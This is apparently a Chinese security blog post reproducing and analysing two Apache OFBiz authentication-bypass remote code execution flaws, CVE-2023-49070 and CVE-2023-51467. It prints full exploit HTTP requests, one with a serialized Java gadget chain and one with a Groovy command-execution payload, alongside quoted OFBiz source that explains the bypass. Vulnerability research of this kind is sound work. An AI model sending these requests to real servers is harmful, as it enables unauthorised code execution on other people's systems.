March 10, 2024

CVE-2023-49070/CVE-2023-51467 Apache OfBiz 鉴权绕过RCE

CVE-2023-49070

影响版本

Apache ofbiz applications < 18.12.10 due to xml-rpc java deserialzation bug.

漏洞复现

准备一下18.12.9版本的OfBiz,然后把环境搭建起来。POC和之前的2020大差不差,看一下报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
GET /webtools/control/xmlrpc/;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Cookie: JSESSIONID=5ACF0B44F3B88D25DA3ADD9C4AFB59FB.jvm1; Phpstorm-b3ad9363=84c4b31e-d5ed-4379-9a80-9b7507cedf1e; Pycharm-69800360=084fccb6-8efb-4ce0-ab83-e9ee9ec90c09; confluence.browse.space.cookie=space-blogposts; sidebar_collapsed=false; Goland-7a35ec7=48e3d45f-8c3b-456a-b871-9a45c9c01e45; cookie_token=ca76b89a250a514dd21370f8310865e199423e79b5b53392404ae1bb2ab24a8c; Phpstorm-b3ad9726=1202f496-542d-4162-91ec-bad957f445b9; lang=zh-cn; device=desktop; theme=default; OFBiz.Visitor=10000
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Length: 1697

<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAVnK/rq+AAAAMQAZAQABYQcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlBwADDAAFAAYKAAgACQEAEWphdmEvbGFuZy9SdW50aW1lBwALAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADQAOCgAMAA8BAARjYWxjCAARAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEwAUCgAMABUBAApTb3VyY2VGaWxlAQAGYS5qYXZhACEAAgAEAAAAAAABAAEABQAGAAEABwAAABoAAgABAAAADiq3AAq4ABASErYAFlexAAAAAAABABcAAAACABhwdAAIYm9vZ2lwb3BwdwEAeHEAfgANeA==</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

很快就知道这其实应该是个权限绕过,他的后半部分rpc是没修复的
image.png
因此我们需要分析一下鉴权的逻辑了。

漏洞分析

作了2层防护,首先多了一个CacheFilter进行过滤。
image.png
对之前payload中的/control/xmlrpc进行了过滤。并且对body中的serializable进行了检测,从这里其实看得出来修复人员是乱jb修复的。但凡你把2个检测分开写而不是写在一个if里,都不至于绕了。我们绕过也很简单,用分号去绕
然后修复人员对xmlrpc做了一个鉴权处理,把上次的false改为了true,因此要进入鉴权流程
image.png
requestMap.securityAuth为true。因此会反射调用checklogin方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {
GenericValue userLogin = checkLogout(request, response);
// have to reget this because the old session object will be invalid
HttpSession session = request.getSession();

String username = null;
String password = null;
String token = null;

if (userLogin == null) {
// check parameters
username = request.getParameter("USERNAME");
password = request.getParameter("PASSWORD");
token = request.getParameter("TOKEN");
// check session attributes
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");

// in this condition log them in if not already; if not logged in or can't log in, save parameters and return error
if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response))) {

// make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error
request.removeAttribute("_LOGIN_PASSED_");

// keep the previous request name in the session
session.setAttribute("_PREVIOUS_REQUEST_", request.getPathInfo());

// NOTE: not using the old _PREVIOUS_PARAMS_ attribute at all because it was a security hole as it was used to put data in the URL (never encrypted) that was originally in a form field that may have been encrypted
// keep 2 maps: one for URL parameters and one for form parameters
Map<String, Object> urlParams = UtilHttp.getUrlOnlyParameterMap(request);
if (UtilValidate.isNotEmpty(urlParams)) {
session.setAttribute("_PREVIOUS_PARAM_MAP_URL_", urlParams);
}
Map<String, Object> formParams = UtilHttp.getParameterMap(request, urlParams.keySet(), false);
if (UtilValidate.isNotEmpty(formParams)) {
session.setAttribute("_PREVIOUS_PARAM_MAP_FORM_", formParams);
}

//if (Debug.infoOn()) Debug.logInfo("checkLogin: PathInfo=" + request.getPathInfo(), module);

return "error";
}
}

//Allow loggingOut when impersonated
boolean isLoggingOut = "logout".equals(RequestHandler.getRequestUri(request.getPathInfo()));
//Check if the user has an impersonation in process
boolean authoriseLoginDuringImpersonate = EntityUtilProperties.propertyValueEquals("security", "security.login.authorised.during.impersonate", "true");
if (!isLoggingOut && !authoriseLoginDuringImpersonate && checkImpersonationInProcess(request, response) != null) {
//remove error message that will be displayed in impersonated status screen
request.removeAttribute("_ERROR_MESSAGE_LIST_");
return "impersonated";
}

return "success";
}

我们看到这一点
image.png
这一段其实很奇怪,error判断成为了绕过的关键点,我们只需要让login的返回值不为error,并且passwd赋值,username不赋值,我们就绕过了鉴权。我们跟进login方法
image.png
只需要加上个requirePasswordChange=Y就绕过了登录鉴权了。
image.png
最终回归到熟悉的Xml解析最后反序列化。
image.png

CVE-2023-51467

影响版本

Apache ofbiz applications < =18.12.10 due to xml-rpc java deserialzation bug.
多了个版本,在18.12.10中,官方移除了xmrpc组件,但是鉴权问题仍然存在,咱就是说不能一起修了。

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

groovyProgram=throw+new+Exception('calc'.execute().text);

这一个是用groovy表达式rce,配合鉴权绕过,那么就可以访问任意接口,因此rce的可能性还是那么大。

漏洞分析

鉴权部分就一样了。groovy执行部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
if (!parameters.groovyProgram) {
groovyProgram = '''
// Use the List variable recordValues to fill it with GenericValue maps.
// full groovy syntaxt is available

import org.apache.ofbiz.entity.util.EntityFindOptions

// example:

// find the first three record in the product entity (if any)
EntityFindOptions findOptions = new EntityFindOptions()
findOptions.setMaxRows(3)

List products = delegator.findList("Product", null, null, null, findOptions, false)
if (products != null) {
recordValues.addAll(products)
}


'''
parameters.groovyProgram = groovyProgram
} else {
groovyProgram = parameters.groovyProgram
}

// Add imports for script.
def importCustomizer = new ImportCustomizer()
importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")
importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")
def configuration = new CompilerConfiguration()
configuration.addCompilationCustomizers(importCustomizer)

Binding binding = new Binding()
binding.setVariable("delegator", delegator)
binding.setVariable("recordValues", recordValues)

ClassLoader loader = Thread.currentThread().getContextClassLoader()
def shell = new GroovyShell(loader, binding, configuration)

if (UtilValidate.isNotEmpty(groovyProgram)) {
try {
// Check if a webshell is not uploaded but allow "import"
if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
logError("================== Not executed for security reason ==================")
request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
return
}
shell.parse(groovyProgram)
shell.evaluate(groovyProgram)

image.png
获取groovyparam然后执行。
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CVE